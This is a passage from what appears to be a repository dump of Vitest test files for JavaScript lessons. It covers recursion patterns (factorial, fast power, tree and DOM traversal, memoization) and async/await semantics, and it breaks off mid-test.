function sumTo(n) {\n        if (n <= 1) return n\n        return n + sumTo(n - 1)\n      }\n\n      it('should sum numbers from 1 to n', () => {\n        expect(sumTo(5)).toBe(15) // 1+2+3+4+5\n        expect(sumTo(10)).toBe(55)\n        expect(sumTo(100)).toBe(5050)\n      })\n\n      it('should handle base cases', () => {\n        expect(sumTo(1)).toBe(1)\n        expect(sumTo(0)).toBe(0)\n      })\n    })\n\n    describe('Power Function', () => {\n      function power(x, n) {\n        if (n === 0) return 1\n        return x * power(x, n - 1)\n      }\n\n      it('should calculate x^n correctly', () => {\n        expect(power(2, 3)).toBe(8)\n        expect(power(2, 10)).toBe(1024)\n        expect(power(3, 4)).toBe(81)\n      })\n\n      it('should handle power of 0', () => {\n        expect(power(5, 0)).toBe(1)\n        expect(power(100, 0)).toBe(1)\n      })\n\n      it('should handle power of 1', () => {\n        expect(power(7, 1)).toBe(7)\n      })\n    })\n\n    describe('Power Function (Optimized O(log n))', () => {\n      function powerFast(x, n) {\n        if (n === 0) return 1\n\n        if (n % 2 === 0) {\n          // Even exponent: x^n = (x^(n/2))^2\n          const half = powerFast(x, n / 2)\n          return half * half\n        } else {\n          // Odd exponent: x^n = x * x^(n-1)\n          return x * powerFast(x, n - 1)\n        }\n      }\n\n      it('should calculate x^n correctly with O(log n) complexity', () => {\n        expect(powerFast(2, 10)).toBe(1024)\n        expect(powerFast(3, 4)).toBe(81)\n        expect(powerFast(2, 3)).toBe(8)\n      })\n\n      it('should handle even exponents efficiently', () => {\n        expect(powerFast(2, 8)).toBe(256)\n        expect(powerFast(2, 16)).toBe(65536)\n        expect(powerFast(5, 4)).toBe(625)\n      })\n\n      it('should handle odd exponents', () => {\n        expect(powerFast(3, 5)).toBe(243)\n        expect(powerFast(2, 7)).toBe(128)\n      })\n\n      it('should handle edge cases', () => {\n        expect(powerFast(5, 0)).toBe(1)\n        expect(powerFast(7, 1)).toBe(7)\n        expect(powerFast(100, 0)).toBe(1)\n      })\n\n      it('should produce same results as naive power function', () => {\n        function powerNaive(x, n) {\n          if (n === 0) return 1\n          return x * powerNaive(x, n - 1)\n        }\n\n        // Test that both implementations produce identical results\n        for (let x = 1; x <= 5; x++) {\n          for (let n = 0; n <= 10; n++) {\n            expect(powerFast(x, n)).toBe(powerNaive(x, n))\n          }\n        }\n      })\n    })\n\n    describe('String Reversal', () => {\n      function reverse(str) {\n        if (str.length <= 1) return str\n        return str[str.length - 1] + reverse(str.slice(0, -1))\n      }\n\n      it('should reverse a string', () => {\n        expect(reverse('hello')).toBe('olleh')\n        expect(reverse('world')).toBe('dlrow')\n        expect(reverse('recursion')).toBe('noisrucer')\n      })\n\n      it('should handle edge cases', () => {\n        expect(reverse('')).toBe('')\n        expect(reverse('a')).toBe('a')\n      })\n    })\n  })\n\n  describe('Practical Patterns', () => {\n    describe('Array Flattening', () => {\n      function flatten(arr) {\n        let result = []\n        for (const item of arr) {\n          if (Array.isArray(item)) {\n            result = result.concat(flatten(item))\n          } else {\n            result.push(item)\n          }\n        }\n        return result\n      }\n\n      it('should flatten nested arrays', () => {\n        expect(flatten([1, [2, [3, 4]], 5])).toEqual([1, 2, 3, 4, 5])\n        expect(flatten([1, [2, [3, [4, [5]]]]])).toEqual([1, 2, 3, 4, 5])\n      })\n\n      it('should handle already flat arrays', () => {\n        expect(flatten([1, 2, 3])).toEqual([1, 2, 3])\n      })\n\n      it('should handle empty arrays', () => {\n        expect(flatten([])).toEqual([])\n        expect(flatten([[], []])).toEqual([])\n      })\n    })\n\n    describe('Nested Object Traversal', () => {\n      function findAllValues(obj, key) {\n        let results = []\n        for (const k in obj) {\n          if (k === key) {\n            results.push(obj[k])\n          } else if (typeof obj[k] === 'object' && obj[k] !== null) {\n            results = results.concat(findAllValues(obj[k], key))\n          }\n        }\n        return results\n      }\n\n      it('should find all values for a given key in nested objects', () => {\n        const data = {\n          name: 'root',\n          children: {\n            a: { name: 'a', value: 1 },\n            b: { name: 'b', value: 2 }\n          }\n        }\n\n        expect(findAllValues(data, 'name')).toEqual(['root', 'a', 'b'])\n        expect(findAllValues(data, 'value')).toEqual([1, 2])\n      })\n\n      it('should return empty array if key not found', () => {\n        const data = { a: 1, b: 2 }\n        expect(findAllValues(data, 'notfound')).toEqual([])\n      })\n    })\n\n    describe('Finding All Counts (MDX Example)', () => {\n      // Exact implementation from MDX lines 410-423\n      function findAllCounts(obj) {\n        let total = 0\n\n        for (const key in obj) {\n          if (key === 'count') {\n            total += obj[key]\n          } else if (typeof obj[key] === 'object' && obj[key] !== null) {\n            // Recurse into nested objects\n            total += findAllCounts(obj[key])\n          }\n        }\n\n        return total\n      }\n\n      it('should find and sum all count values in nested object (MDX example)', () => {\n        const data = {\n          name: 'Company',\n          departments: {\n            engineering: {\n              frontend: { count: 5 },\n              backend: { count: 8 }\n            },\n            sales: { count: 12 }\n          }\n        }\n\n        expect(findAllCounts(data)).toBe(25) // 5 + 8 + 12\n      })\n\n      it('should return 0 for empty object', () => {\n        expect(findAllCounts({})).toBe(0)\n      })\n\n      it('should return 0 when no count keys exist', () => {\n        const data = {\n          name: 'Test',\n          nested: {\n            value: 10,\n            deeper: { something: 'else' }\n          }\n        }\n        expect(findAllCounts(data)).toBe(0)\n      })\n\n      it('should handle flat object with count', () => {\n        expect(findAllCounts({ count: 42 })).toBe(42)\n      })\n\n      it('should handle deeply nested counts', () => {\n        const data = {\n          level1: {\n            level2: {\n              level3: {\n                level4: {\n                  count: 100\n                }\n              }\n            }\n          }\n        }\n        expect(findAllCounts(data)).toBe(100)\n      })\n    })\n\n    describe('Linked List Operations', () => {\n      function sumList(node) {\n        if (node === null) return 0\n        return node.value + sumList(node.next)\n      }\n\n      function listLength(node) {\n        if (node === null) return 0\n        return 1 + listLength(node.next)\n      }\n\n      // Modified version of MDX printReverse that collects results instead of console.log\n      // MDX implementation (lines 505-509):\n      // function printReverse(node) {\n      //   if (node === null) return\n      //   printReverse(node.next)  // First, go to the end\n      //   console.log(node.value)  // Then print on the way back\n      // }\n      function collectReverse(node, results = []) {\n        if (node === null) return results\n        collectReverse(node.next, results) // First, go to the end\n        results.push(node.value) // Then collect on the way back\n        return results\n      }\n\n      const list = {\n        value: 1,\n        next: {\n          value: 2,\n          next: {\n            value: 3,\n            next: null\n          }\n        }\n      }\n\n      it('should sum all values in a linked list', () => {\n        expect(sumList(list)).toBe(6)\n      })\n\n      it('should count nodes in a linked list', () => {\n        expect(listLength(list)).toBe(3)\n      })\n\n      it('should handle empty list (null)', () => {\n        expect(sumList(null)).toBe(0)\n        expect(listLength(null)).toBe(0)\n      })\n\n      it('should handle single node list', () => {\n        const single = { value: 5, next: null }\n        expect(sumList(single)).toBe(5)\n        expect(listLength(single)).toBe(1)\n      })\n\n      it('should collect values in reverse order (printReverse pattern)', () => {\n        // MDX shows: printReverse(list) outputs 3, 2, 1\n        expect(collectReverse(list)).toEqual([3, 2, 1])\n      })\n\n      it('should return empty array for null list (printReverse pattern)', () => {\n        expect(collectReverse(null)).toEqual([])\n      })\n\n      it('should handle single node for reverse collection', () => {\n        const single = { value: 42, next: null }\n        expect(collectReverse(single)).toEqual([42])\n      })\n    })\n\n    describe('Tree Node Counting', () => {\n      function countNodes(node) {\n        if (node === null) return 0\n        return 1 + countNodes(node.left) + countNodes(node.right)\n      }\n\n      function sumTree(node) {\n        if (node === null) return 0\n        return node.value + sumTree(node.left) + sumTree(node.right)\n      }\n\n      const tree = {\n        value: 1,\n        left: {\n          value: 2,\n          left: { value: 4, left: null, right: null },\n          right: { value: 5, left: null, right: null }\n        },\n        right: {\n          value: 3,\n          left: null,\n          right: null\n        }\n      }\n\n      it('should count all nodes in a tree', () => {\n        expect(countNodes(tree)).toBe(5)\n      })\n\n      it('should sum all values in a tree', () => {\n        expect(sumTree(tree)).toBe(15) // 1+2+3+4+5\n      })\n\n      it('should handle empty tree', () => {\n        expect(countNodes(null)).toBe(0)\n        expect(sumTree(null)).toBe(0)\n      })\n    })\n\n    describe('File System Traversal (getTotalSize)', () => {\n      // Exact implementation from MDX lines 539-550\n      function getTotalSize(node) {\n        if (node.type === 'file') {\n          return node.size\n        }\n\n        // Folder: sum sizes of all children\n        let total = 0\n        for (const child of node.children) {\n          total += getTotalSize(child)\n        }\n        return total\n      }\n\n      it('should calculate total size of file system (MDX example)', () => {\n        // Exact data structure from MDX lines 522-537\n        const fileSystem = {\n          name: 'root',\n          type: 'folder',\n          children: [\n            { name: 'file1.txt', type: 'file', size: 100 },\n            {\n              name: 'docs',\n              type: 'folder',\n              children: [\n                { name: 'readme.md', type: 'file', size: 50 },\n                { name: 'notes.txt', type: 'file', size: 25 }\n              ]\n            }\n          ]\n        }\n\n        expect(getTotalSize(fileSystem)).toBe(175) // 100 + 50 + 25\n      })\n\n      it('should return size of single file', () => {\n        const singleFile = { name: 'test.js', type: 'file', size: 42 }\n        expect(getTotalSize(singleFile)).toBe(42)\n      })\n\n      it('should return 0 for empty folder', () => {\n        const emptyFolder = { name: 'empty', type: 'folder', children: [] }\n        expect(getTotalSize(emptyFolder)).toBe(0)\n      })\n\n      it('should handle deeply nested folders', () => {\n        const deepStructure = {\n          name: 'level0',\n          type: 'folder',\n          children: [\n            {\n              name: 'level1',\n              type: 'folder',\n              children: [\n                {\n                  name: 'level2',\n                  type: 'folder',\n                  children: [{ name: 'deep.txt', type: 'file', size: 999 }]\n                }\n              ]\n            }\n          ]\n        }\n        expect(getTotalSize(deepStructure)).toBe(999)\n      })\n\n      it('should sum files across multiple nested folders', () => {\n        const multiFolder = {\n          name: 'root',\n          type: 'folder',\n          children: [\n            { name: 'a.txt', type: 'file', size: 10 },\n            {\n              name: 'sub1',\n              type: 'folder',\n              children: [\n                { name: 'b.txt', type: 'file', size: 20 },\n                { name: 'c.txt', type: 'file', size: 30 }\n              ]\n            },\n            {\n              name: 'sub2',\n              type: 'folder',\n              children: [{ name: 'd.txt', type: 'file', size: 40 }]\n            }\n          ]\n        }\n        expect(getTotalSize(multiFolder)).toBe(100) // 10 + 20 + 30 + 40\n      })\n    })\n\n    describe('DOM Traversal (walkDOM)', () => {\n      // Exact implementation from MDX lines 461-470\n      function walkDOM(node, callback) {\n        // Process this node\n        callback(node)\n\n        // Recurse into child nodes\n        for (const child of node.children) {\n          walkDOM(child, callback)\n        }\n      }\n\n      it('should collect all tag names in document order (MDX example)', () => {\n        const dom = new JSDOM(`\n          <body>\n            <div>\n              <p></p>\n              <span></span>\n            </div>\n            <footer></footer>\n          </body>\n        `)\n\n        const tagNames = []\n        walkDOM(dom.window.document.body, (node) => {\n          tagNames.push(node.tagName)\n        })\n\n        expect(tagNames).toEqual(['BODY', 'DIV', 'P', 'SPAN', 'FOOTER'])\n      })\n\n      it('should handle single element with no children', () => {\n        const dom = new JSDOM(`<body></body>`)\n\n        const tagNames = []\n        walkDOM(dom.window.document.body, (node) => {\n          tagNames.push(node.tagName)\n        })\n\n        expect(tagNames).toEqual(['BODY'])\n      })\n\n      it('should handle deeply nested structure', () => {\n        const dom = new JSDOM(`\n          <body>\n            <div>\n              <div>\n                <div>\n                  <p></p>\n                </div>\n              </div>\n            </div>\n          </body>\n        `)\n\n        const tagNames = []\n        walkDOM(dom.window.document.body, (node) => {\n          tagNames.push(node.tagName)\n        })\n\n        expect(tagNames).toEqual(['BODY', 'DIV', 'DIV', 'DIV', 'P'])\n      })\n\n      it('should process nodes in depth-first order', () => {\n        const dom = new JSDOM(`\n          <body>\n            <nav>\n              <a></a>\n            </nav>\n            <main>\n              <article>\n                <h1></h1>\n                <p></p>\n              </article>\n            </main>\n          </body>\n        `)\n\n        const tagNames = []\n        walkDOM(dom.window.document.body, (node) => {\n          tagNames.push(node.tagName)\n        })\n\n        expect(tagNames).toEqual(['BODY', 'NAV', 'A', 'MAIN', 'ARTICLE', 'H1', 'P'])\n      })\n\n      it('should allow custom callbacks', () => {\n        const dom = new JSDOM(`\n          <body>\n            <div id=\"first\"></div>\n            <div id=\"second\"></div>\n          </body>\n        `)\n\n        const ids = []\n        walkDOM(dom.window.document.body, (node) => {\n          if (node.id) {\n            ids.push(node.id)\n          }\n        })\n\n        expect(ids).toEqual(['first', 'second'])\n      })\n    })\n  })\n\n  describe('Common Mistakes', () => {\n    it('should demonstrate stack overflow without proper base case', () => {\n      function badRecursion(n) {\n        // Base case uses === instead of <=, causing overflow for negative inputs\n        if (n === 0) return 0\n        return badRecursion(n - 2) // Skips 0 when starting with odd number\n      }\n\n      // Odd number will skip past 0 and cause stack overflow\n      expect(() => badRecursion(5)).toThrow(RangeError)\n    })\n\n    it('should show difference between returning and not returning recursive call', () => {\n      function withReturn(n) {\n        if (n === 1) return 1\n        return n + withReturn(n - 1)\n      }\n\n      function withoutReturn(n) {\n        if (n === 1) return 1\n        n + withoutReturn(n - 1) // Missing return!\n      }\n\n      expect(withReturn(5)).toBe(15)\n      expect(withoutReturn(5)).toBeUndefined()\n    })\n  })\n\n  describe('Optimization', () => {\n    it('should demonstrate memoized fibonacci is much faster than naive', () => {\n      // Naive implementation (would be very slow for large n)\n      function fibNaive(n) {\n        if (n <= 1) return n\n        return fibNaive(n - 1) + fibNaive(n - 2)\n      }\n\n      // Memoized implementation\n      function fibMemo(n, memo = {}) {\n        if (n in memo) return memo[n]\n        if (n <= 1) return n\n        memo[n] = fibMemo(n - 1, memo) + fibMemo(n - 2, memo)\n        return memo[n]\n      }\n\n      // Both should return the same result\n      expect(fibNaive(10)).toBe(55)\n      expect(fibMemo(10)).toBe(55)\n\n      // But memoized can handle much larger numbers\n      expect(fibMemo(50)).toBe(12586269025)\n      // fibNaive(50) would take minutes or crash\n    })\n\n    it('should demonstrate tail recursive vs non-tail recursive', () => {\n      // Non-tail recursive: multiplication happens AFTER recursive call returns\n      function factorialNonTail(n) {\n        if (n <= 1) return 1\n        return n * factorialNonTail(n - 1)\n      }\n\n      // Tail recursive: recursive call is the LAST operation\n      function factorialTail(n, acc = 1) {\n        if (n <= 1) return acc\n        return factorialTail(n - 1, acc * n)\n      }\n\n      // Both produce the same result\n      expect(factorialNonTail(5)).toBe(120)\n      expect(factorialTail(5)).toBe(120)\n      expect(factorialNonTail(10)).toBe(3628800)\n      expect(factorialTail(10)).toBe(3628800)\n    })\n  })\n\n  describe('Edge Cases', () => {\n    it('should handle recursive function with multiple base cases', () => {\n      function fibonacci(n) {\n        if (n === 0) return 0 // First base case\n        if (n === 1) return 1 // Second base case\n        return fibonacci(n - 1) + fibonacci(n - 2)\n      }\n\n      expect(fibonacci(0)).toBe(0)\n      expect(fibonacci(1)).toBe(1)\n      expect(fibonacci(2)).toBe(1)\n    })\n\n    it('should handle recursion with multiple recursive calls', () => {\n      function sumTree(node) {\n        if (node === null) return 0\n        // Two recursive calls\n        return node.value + sumTree(node.left) + sumTree(node.right)\n      }\n\n      const tree = {\n        value: 10,\n        left: { value: 5, left: null, right: null },\n        right: { value: 15, left: null, right: null }\n      }\n\n      expect(sumTree(tree)).toBe(30)\n    })\n\n    it('should handle mutual recursion', () => {\n      function isEven(n) {\n        if (n === 0) return true\n        return isOdd(n - 1)\n      }\n\n      function isOdd(n) {\n        if (n === 0) return false\n        return isEven(n - 1)\n      }\n\n      expect(isEven(4)).toBe(true)\n      expect(isEven(5)).toBe(false)\n      expect(isOdd(3)).toBe(true)\n      expect(isOdd(4)).toBe(false)\n    })\n  })\n\n  describe('Recursion vs Iteration', () => {\n    describe('Factorial (Iterative vs Recursive)', () => {\n      // Recursive version (from Classic Algorithms)\n      function factorialRecursive(n) {\n        if (n <= 1) return 1\n        return n * factorialRecursive(n - 1)\n      }\n\n      // Exact iterative implementation from MDX lines 585-592\n      function factorialIterative(n) {\n        let result = 1\n        for (let i = 2; i <= n; i++) {\n          result *= i\n        }\n        return result\n      }\n\n      it('should produce same results as recursive version', () => {\n        expect(factorialIterative(5)).toBe(factorialRecursive(5))\n        expect(factorialIterative(10)).toBe(factorialRecursive(10))\n      })\n\n      it('should calculate factorial correctly', () => {\n        expect(factorialIterative(5)).toBe(120)\n        expect(factorialIterative(10)).toBe(3628800)\n      })\n\n      it('should handle edge cases (0! = 1, 1! = 1)', () => {\n        expect(factorialIterative(0)).toBe(1)\n        expect(factorialIterative(1)).toBe(1)\n      })\n\n      it('should handle larger numbers without stack overflow', () => {\n        // Iterative can handle larger numbers without stack concerns\n        expect(factorialIterative(20)).toBe(2432902008176640000)\n      })\n    })\n\n    describe('Sum Tree (Iterative with Explicit Stack)', () => {\n      // Recursive version\n      function sumTreeRecursive(node) {\n        if (node === null) return 0\n        return node.value + sumTreeRecursive(node.left) + sumTreeRecursive(node.right)\n      }\n\n      // Exact iterative implementation from MDX lines 814-829\n      function sumTreeIterative(root) {\n        if (root === null) return 0\n\n        let sum = 0\n        const stack = [root]\n\n        while (stack.length > 0) {\n          const node = stack.pop()\n          sum += node.value\n\n          if (node.right) stack.push(node.right)\n          if (node.left) stack.push(node.left)\n        }\n\n        return sum\n      }\n\n      const tree = {\n        value: 1,\n        left: {\n          value: 2,\n          left: { value: 4, left: null, right: null },\n          right: { value: 5, left: null, right: null }\n        },\n        right: {\n          value: 3,\n          left: null,\n          right: null\n        }\n      }\n\n      it('should produce same results as recursive version', () => {\n        expect(sumTreeIterative(tree)).toBe(sumTreeRecursive(tree))\n      })\n\n      it('should sum all values in a tree', () => {\n        expect(sumTreeIterative(tree)).toBe(15) // 1+2+3+4+5\n      })\n\n      it('should handle empty tree (null)', () => {\n        expect(sumTreeIterative(null)).toBe(0)\n      })\n\n      it('should handle single node tree', () => {\n        const single = { value: 42, left: null, right: null }\n        expect(sumTreeIterative(single)).toBe(42)\n      })\n\n      it('should handle left-only tree', () => {\n        const leftOnly = {\n          value: 1,\n          left: {\n            value: 2,\n            left: { value: 3, left: null, right: null },\n            right: null\n          },\n          right: null\n        }\n        expect(sumTreeIterative(leftOnly)).toBe(6)\n      })\n\n      it('should handle right-only tree', () => {\n        const rightOnly = {\n          value: 1,\n          left: null,\n          right: {\n            value: 2,\n            left: null,\n            right: { value: 3, left: null, right: null }\n          }\n        }\n        expect(sumTreeIterative(rightOnly)).toBe(6)\n      })\n    })\n  })\n\n  describe('Q&A Examples', () => {\n    describe('Array Length (Recursive)', () => {\n      // Exact implementation from MDX lines 899-910\n      function arrayLength(arr) {\n        // Base case: empty array has length 0\n        if (arr.length === 0) return 0\n\n        // Recursive case: 1 + length of the rest\n        return 1 + arrayLength(arr.slice(1))\n      }\n\n      it('should calculate array length recursively (MDX example)', () => {\n        expect(arrayLength([1, 2, 3, 4])).toBe(4)\n      })\n\n      it('should return 0 for empty array', () => {\n        expect(arrayLength([])).toBe(0)\n      })\n\n      it('should handle single element array', () => {\n        expect(arrayLength([42])).toBe(1)\n      })\n\n      it('should work with arrays of different types', () => {\n        expect(arrayLength(['a', 'b', 'c'])).toBe(3)\n        expect(arrayLength([{ a: 1 }, { b: 2 }])).toBe(2)\n        expect(arrayLength([1, 'two', { three: 3 }, [4]])).toBe(4)\n      })\n\n      it('should handle longer arrays', () => {\n        const longArray = Array.from({ length: 100 }, (_, i) => i)\n        expect(arrayLength(longArray)).toBe(100)\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functions-execution/async-await/async-await.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('async/await', () => {\n  \n  // ============================================================\n  // THE async KEYWORD\n  // ============================================================\n  \n  describe('The async Keyword', () => {\n    it('should make a function return a Promise', () => {\n      // From: async function always returns a Promise\n      async function getValue() {\n        return 42\n      }\n      \n      const result = getValue()\n      \n      expect(result).toBeInstanceOf(Promise)\n    })\n    \n    it('should wrap return values in Promise.resolve()', async () => {\n      // From: return values are wrapped in Promise.resolve()\n      async function getValue() {\n        return 42\n      }\n      \n      const result = await getValue()\n      \n      expect(result).toBe(42)\n    })\n    \n    it('should convert thrown errors to rejected Promises', async () => {\n      // From: when you throw in an async function, it becomes a rejected Promise\n      async function failingFunction() {\n        throw new Error('Something went wrong!')\n      }\n      \n      await expect(failingFunction()).rejects.toThrow('Something went wrong!')\n    })\n    \n    it('should not double-wrap returned Promises', async () => {\n      // From: return a Promise? No double-wrapping\n      async function getPromise() {\n        return Promise.resolve(42)\n      }\n      \n      const result = await getPromise()\n      \n      // If it double-wrapped, result would be a Promise, not 42\n      expect(result).toBe(42)\n      expect(typeof result).toBe('number')\n    })\n    \n    it('should work with async arrow functions', async () => {\n      // From: async arrow function\n      const getData = async () => {\n        return 'data'\n      }\n      \n      expect(await getData()).toBe('data')\n    })\n    \n    it('should work with async methods in objects', async () => {\n      // From: async method in an object\n      const api = {\n        async fetchData() {\n          return 'fetched'\n        }\n      }\n      \n      expect(await api.fetchData()).toBe('fetched')\n    })\n    \n    it('should work with async methods in classes', async () => {\n      // From: async method in a class\n      class DataService {\n        async getData() {\n          return 'class data'\n        }\n      }\n      \n      const service = new DataService()\n      expect(await service.getData()).toBe('class data')\n    })\n  })\n  \n  // ============================================================\n  // THE await KEYWORD\n  // ============================================================\n  \n  describe('The await Keyword', () => {\n    it('should pause execution until Promise resolves', async () => {\n      const order = []\n      \n      async function example() {\n        order.push('before await')\n        await Promise.resolve()\n        order.push('after await')\n      }\n      \n      await example()\n      \n      expect(order).toEqual(['before await', 'after await'])\n    })\n    \n    it('should return the resolved value of a Promise', async () => {\n      async function example() {\n        const value = await Promise.resolve(42)\n        return value\n      }\n      \n      expect(await example()).toBe(42)\n    })\n    \n    it('should work with non-Promise values (though pointless)', async () => {\n      // From: awaiting a non-Promise value\n      async function example() {\n        const num = await 42\n        return num\n      }\n      \n      expect(await example()).toBe(42)\n    })\n    \n    it('should work with thenable objects', async () => {\n      // From: awaiting a thenable\n      const thenable = {\n        then(resolve) {\n          resolve('thenable value')\n        }\n      }\n      \n      async function example() {\n        return await thenable\n      }\n      \n      expect(await example()).toBe('thenable value')\n    })\n    \n    it('should not block the main thread - other code runs while waiting', async () => {\n      // From: await pauses the function, not the thread\n      const order = []\n      \n      async function slowOperation() {\n        order.push('Starting slow operation')\n        await Promise.resolve()\n        order.push('Slow operation complete')\n      }\n      \n      order.push('Before calling slowOperation')\n      const promise = slowOperation()\n      order.push('After calling slowOperation')\n      \n      // At this point, slowOperation is paused at await\n      expect(order).toEqual([\n        'Before calling slowOperation',\n        'Starting slow operation',\n        'After calling slowOperation'\n      ])\n      \n      await promise\n      \n      expect(order).toEqual([\n        'Before calling slowOperation',\n        'Starting slow operation',\n        'After calling slowOperation',\n        'Slow operation complete'\n      ])\n    })\n  })\n  \n  // ============================================================\n  // HOW await WORKS UNDER THE HOOD\n  // ============================================================\n  \n  describe('How await Works Under the Hood', () => {\n    it('should run code before await synchronously', async () => {\n      // From: code before await is synchronous\n      const order = []\n      \n      async function example() {\n        order.push('1. Before await')\n        await Promise.resolve()\n        order.push('2. After await')\n      }\n      \n      order.push('A. Before call')\n      example()\n      order.push('B. After call')\n      \n      // Before microtasks run\n      expect(order).toEqual([\n        'A. Before call',\n        '1. Before await',\n        'B. After call'\n      ])\n      \n      // Let microtasks run\n      await Promise.resolve()\n      \n      expect(order).toEqual([\n        'A. Before call',\n        '1. Before await',\n        'B. After call',\n        '2. After await'\n      ])\n    })\n    \n    it('should treat code after await as a microtask', async () => {\n      // From: await splits the function diagram\n      const order = []\n      \n      async function asyncFn() {\n        order.push('async start')\n        await Promise.resolve()\n        order.push('async after await')\n      }\n      \n      order.push('script start')\n      asyncFn()\n      order.push('script end')\n      \n      // Await hasn't resolved yet\n      expect(order).toEqual(['script start', 'async start', 'script end'])\n      \n      await Promise.resolve()\n      \n      expect(order).toEqual(['script start', 'async start', 'script end', 'async after await'])\n    })\n    \n    it('should handle multiple await statements', async () => {\n      const order = []\n      \n      async function multipleAwaits() {\n        order.push('start')\n        await Promise.resolve()\n        order.push('after first await')\n        await Promise.resolve()\n        order.push('after second await')\n      }\n      \n      multipleAwaits()\n      order.push('sync after call')\n      \n      expect(order).toEqual(['start', 'sync after call'])\n      \n      await Promise.resolve()\n      expect(order).toEqual(['start', 'sync after call', 'after first await'])\n      \n      await Promise.resolve()\n      expect(order).toEqual(['start', 'sync after call', 'after first await', 'after second await'])\n    })\n  })\n  \n  // ============================================================\n  // ERROR HANDLING WITH try/catch\n  // ============================================================\n  \n  describe('Error Handling with try/catch', () => {\n    it('should catch rejected Promises with try/catch', async () => {\n      // From: Basic try/catch pattern\n      async function fetchData() {\n        try {\n          await Promise.reject(new Error('Network error'))\n          return 'success'\n        } catch (error) {\n          return `caught: ${error.message}`\n        }\n      }\n      \n      expect(await fetchData()).toBe('caught: Network error')\n    })\n    \n    it('should catch errors thrown in async functions', async () => {\n      async function mightFail(shouldFail) {\n        if (shouldFail) {\n          throw new Error('Failed!')\n        }\n        return 'Success'\n      }\n      \n      expect(await mightFail(false)).toBe('Success')\n      await expect(mightFail(true)).rejects.toThrow('Failed!')\n    })\n    \n    it('should run finally block regardless of success or failure', async () => {\n      // From: The finally block\n      const results = []\n      \n      async function withFinally(shouldFail) {\n        try {\n          if (shouldFail) {\n            throw new Error('error')\n          }\n          results.push('success')\n        } catch (error) {\n          results.push('caught')\n        } finally {\n          results.push('finally')\n        }\n      }\n      \n      await withFinally(false)\n      expect(results).toEqual(['success', 'finally'])\n      \n      results.length = 0\n      await withFinally(true)\n      expect(results).toEqual(['caught', 'finally'])\n    })\n    \n    it('should demonstrate the swallowed error mistake', async () => {\n      // From: The Trap - if you catch but don't re-throw, Promise resolves with undefined\n      async function swallowsError() {\n        try {\n          throw new Error('Oops')\n        } catch (error) {\n          console.error('Error:', error)\n          // Missing: throw error\n        }\n      }\n      \n      // This resolves (not rejects!) with undefined\n      const result = await swallowsError()\n      expect(result).toBeUndefined()\n    })\n    \n    it('should propagate errors when re-thrown', async () => {\n      async function rethrowsError() {\n        try {\n          throw new Error('Oops')\n        } catch (error) {\n          throw error  // Re-throw\n        }\n      }\n      \n      await expect(rethrowsError()).rejects.toThrow('Oops')\n    })\n    \n    it('should catch errors from nested async calls', async () => {\n      // From: Interview Question 3 - Error Handling\n      async function inner() {\n        throw new Error('Oops!')\n      }\n      \n      async function outer() {\n        try {\n          await inner()\n          return 'success'\n        } catch (e) {\n          return `caught: ${e.message}`\n        }\n      }\n      \n      expect(await outer()).toBe('caught: Oops!')\n    })\n  })\n  \n  // ============================================================\n  // SEQUENTIAL VS PARALLEL EXECUTION\n  // ============================================================\n  \n  describe('Sequential vs Parallel Execution', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should demonstrate slow sequential execution', async () => {\n      // From: The Problem - Unnecessary Sequential Execution\n      const delay = (ms, value) => new Promise(resolve => \n        setTimeout(() => resolve(value), ms)\n      )\n      \n      async function sequential() {\n        const start = Date.now()\n        const a = await delay(100, 'a')\n        const b = await delay(100, 'b')\n        const c = await delay(100, 'c')\n        return { a, b, c, time: Date.now() - start }\n      }\n      \n      const promise = sequential()\n      \n      // Advance through all three delays\n      await vi.advanceTimersByTimeAsync(100)\n      await vi.advanceTimersByTimeAsync(100)\n      await vi.advanceTimersByTimeAsync(100)\n      \n      const result = await promise\n      expect(result.a).toBe('a')\n      expect(result.b).toBe('b')\n      expect(result.c).toBe('c')\n      expect(result.time).toBeGreaterThanOrEqual(300)  // Sequential: 100+100+100\n    })\n    \n    it('should demonstrate fast parallel execution with Promise.all', async () => {\n      // From: The Solution - Promise.all for Parallel Execution\n      const delay = (ms, value) => new Promise(resolve => \n        setTimeout(() => resolve(value), ms)\n      )\n      \n      async function parallel() {\n        const start = Date.now()\n        const [a, b, c] = await Promise.all([\n          delay(100, 'a'),\n          delay(100, 'b'),\n          delay(100, 'c')\n        ])\n        return { a, b, c, time: Date.now() - start }\n      }\n      \n      const promise = parallel()\n      \n      // All three start at once, so only need 100ms total\n      await vi.advanceTimersByTimeAsync(100)\n      \n      const result = await promise\n      expect(result.a).toBe('a')\n      expect(result.b).toBe('b')\n      expect(result.c).toBe('c')\n      expect(result.time).toBe(100)  // Parallel: max(100,100,100) = 100\n    })\n    \n    it('should fail fast with Promise.all when any Promise rejects', async () => {\n      // From: Promise.all - fails fast\n      const results = await Promise.allSettled([\n        Promise.resolve('success'),\n        Promise.reject(new Error('fail')),\n        Promise.resolve('also success')\n      ])\n      \n      expect(results[0]).toEqual({ status: 'fulfilled', value: 'success' })\n      expect(results[1].status).toBe('rejected')\n      expect(results[1].reason.message).toBe('fail')\n      expect(results[2]).toEqual({ status: 'fulfilled', value: 'also success' })\n    })\n    \n    it('should get all results with Promise.allSettled', async () => {\n      // From: Promise.allSettled - waits for all\n      const results = await Promise.allSettled([\n        Promise.resolve('a'),\n        Promise.reject(new Error('b failed')),\n        Promise.resolve('c')\n      ])\n      \n      const successful = results\n        .filter(r => r.status === 'fulfilled')\n        .map(r => r.value)\n        \n      const failed = results\n        .filter(r => r.status === 'rejected')\n        .map(r => r.reason.message)\n      \n      expect(successful).toEqual(['a', 'c'])\n      expect(failed).toEqual(['b failed'])\n    })\n  })\n  \n  // ============================================================\n  // COMMON MISTAKES\n  // ============================================================\n  \n  describe('Common Mistakes', () => {\n    it('Mistake #1: Forgetting await gives Promise instead of value', async () => {\n      // From: Without await, you get a Promise object instead of the resolved value\n      async function withoutAwait() {\n        const value = Promise.resolve(42)  // Missing await!\n        return value\n      }\n      \n      async function withAwait() {\n        const value = await Promise.resolve(42)\n        return value\n      }\n      \n      const withoutResult = await withoutAwait()\n      const withResult = await withAwait()\n      \n      // Both eventually resolve to 42, but withoutAwait returns a Promise\n      expect(withoutResult).toBe(42)  // Works because we await the function\n      expect(withResult).toBe(42)\n    })\n    \n    it('Mistake #2: forEach does not wait for async callbacks', async () => {\n      // From: forEach doesn't 